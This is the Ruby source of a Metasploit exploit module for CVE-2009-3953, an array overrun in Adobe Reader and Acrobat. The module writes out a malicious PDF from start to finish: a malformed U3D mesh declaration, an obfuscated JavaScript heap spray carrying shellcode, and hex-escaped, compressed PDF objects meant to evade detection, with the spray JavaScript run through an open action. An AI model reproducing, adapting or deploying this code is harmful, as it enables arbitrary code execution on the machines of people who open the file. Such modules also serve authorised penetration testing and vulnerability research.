require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
'Description'=> %q{
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
specially crafted pdf that a contains malformed U3D data, an attacker may
be able to execute arbitrary code.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
'jduck'
],
'Version'=> '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2009-3953' ],
[ 'OSVDB', '61690' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload'=>
{
'Space' => 1024,
'BadChars'=> "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets'=>
[
[ 'Adobe Reader Windows Universal (JS Heap Spray)',
{
'Size' => (6500/20),
'DataAddr' => 0x09011020,
'WriteAddr' => 0x7c49fb34,
}
],
],
'DisclosureDate' => 'Oct 13 2009',
'DefaultTarget'=> 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
], self.class)
end
def exploit
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
nops= Rex::Text.to_unescape(make_nops(4))
=begin
Original notes on heap technique used in this exploit:
=end
daddr = target['DataAddr']
hole_data = [0,0,1,daddr].pack('VvvV')
hole_data << "\x00" * 24
hole = Rex::Text.to_unescape(hole_data)
ptrs_data = [0].pack('V')
ptrs_data << [target['WriteAddr'] / 4].pack('V')
ptrs_data << [6].pack('V')
ptrs_data << [(daddr+0x10)].pack('V')
ptrs_data << [(daddr+0x14)].pack('V')
ptrs_data << [(daddr+0x44)].pack('V') * 12
ptrs = Rex::Text.to_unescape(ptrs_data)
js_doc = <<-EOF
function prepareHoles(slide_size)
{
var size = 1000;
var xarr = new Array(size);
var hole = unescape("#{hole}");
var pad = unescape("%u5858");
while (pad.length <= slide_size/2 - hole.length)
pad += pad;
for (loop1=0; loop1 < size; loop1+=1)
{
ident = ""+loop1;
xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
}
for (loop2=0;loop2<100;loop2++)
{
for (loop1=size/2; loop1 < size-2; loop1+=2)
{
xarr[loop1]=null;
xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
xarr[loop1]=null;
}
}
return xarr;
}
function prepareMemory(size)
{
var mini_slide_size = 0x1000;
var slide_size = 0x100000;
var xarr = new Array(size);
var pad = unescape("%ucccc");
while (pad.length <= 32 )
pad += pad;
var nops = unescape("#{nops}");
while (nops.length <= mini_slide_size/2 - nops.length)
nops += nops;
var shellcode = unescape("#{shellcode}");
var pointers = unescape("#{ptrs}");
var chunk = nops.substring(0,32/2) + pointers +
nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
shellcode + pad.substring(0,32/2);
chunk=chunk.substring(0,mini_slide_size/2);
while (chunk.length <= slide_size/2)
chunk += chunk;
for (loop1=0; loop1 < size; loop1+=1)
{
ident = ""+loop1;
xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
}
return xarr;
}
var mem = prepareMemory(200);
var holes = prepareHoles(6500);
this.pageNum = 1;
EOF
js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|
js_doc = obfuscate_js(js_doc,
'Symbols' => {
'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
'Methods' => %W{ prepareMemory prepareHoles }
}).to_s
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
pdf = make_pdf(u3d, js_doc, js_pg1)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def obfuscate_js(javascript, opts)
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
js.obfuscate
return js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj\n" % id
end
def ioRef(id)
"%d 0 R" % id
end
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def u3d_pad(str, char="\x00")
ret = ""
if (str.length % 4) > 0
ret << char * (4 - (str.length % 4))
end
return ret
end
def make_u3d_stream(size, meshname)
hdr_data = [1,0].pack('n*')
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
hdr = "U3D\x00"
hdr << [hdr_data.length,0].pack('VV')
hdr << hdr_data
decl_data = [meshname.length].pack('v')
decl_data << meshname
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [1].pack('V')
decl_data << [size].pack('V')
decl_data << [4].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [1].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [size+2].pack('V')
decl_data << [size+3].pack('V')
decl_data << [0x12c].pack('V')
decl_data << [0x12c].pack('V')
decl_data << [0x12c].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_pad = u3d_pad(decl_data)
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
mesh_decl << decl_data
mesh_decl << decl_pad
chain_data = [meshname.length].pack('v')
chain_data << meshname
chain_data << [1].pack('V')
chain_data << [0].pack('V')
chain_data << u3d_pad(chain_data)
chain_data << [1].pack('V')
chain_data << mesh_decl
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
modifier_chain << chain_data
cont_data = [meshname.length].pack('v')
cont_data << meshname
cont_data << [0].pack('V')
cont_data << [0].pack('V')
cont_data << [0].pack('V')
cont_data << [0].pack('V')
cont_data << [1].pack('V') * 10
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
mesh_cont << cont_data
mesh_cont << u3d_pad(cont_data)
data = hdr
data << modifier_chain
data << mesh_cont
data[24,4] = [data.length].pack('V')
return data
end
def make_pdf(u3d_stream, js_doc, js_pg1)
xref = []
eol = "\x0a"
obj_end = "" << eol << "endobj" << eol
pdf = "%PDF-1.7" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << obj_end
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1))
pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << obj_end
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
pdf << nObfu("/Pages ") << ioRef(5)
pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>")
pdf << obj_end
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
pdf << obj_end
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
pdf << ioRef(10) << " "
pdf << ioRef(11)
pdf << nObfu("]>>")
pdf << obj_end
xref << pdf.length
pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
pdf << "stream" << eol
pdf << u3d_stream << eol
pdf << "endstream"
pdf << obj_end
xref << pdf.length
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
pdf << "/3D/3DA <</A/PO/DIS/I>>"
pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
pdf << obj_end
xref << pdf.length
pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end
xref << pdf.length
pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end
xref << pdf.length
pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
pdf << nObfu(" >>")
pdf << obj_end
xref << pdf.length
pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>")
pdf << nObfu(">>")
pdf << obj_end
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end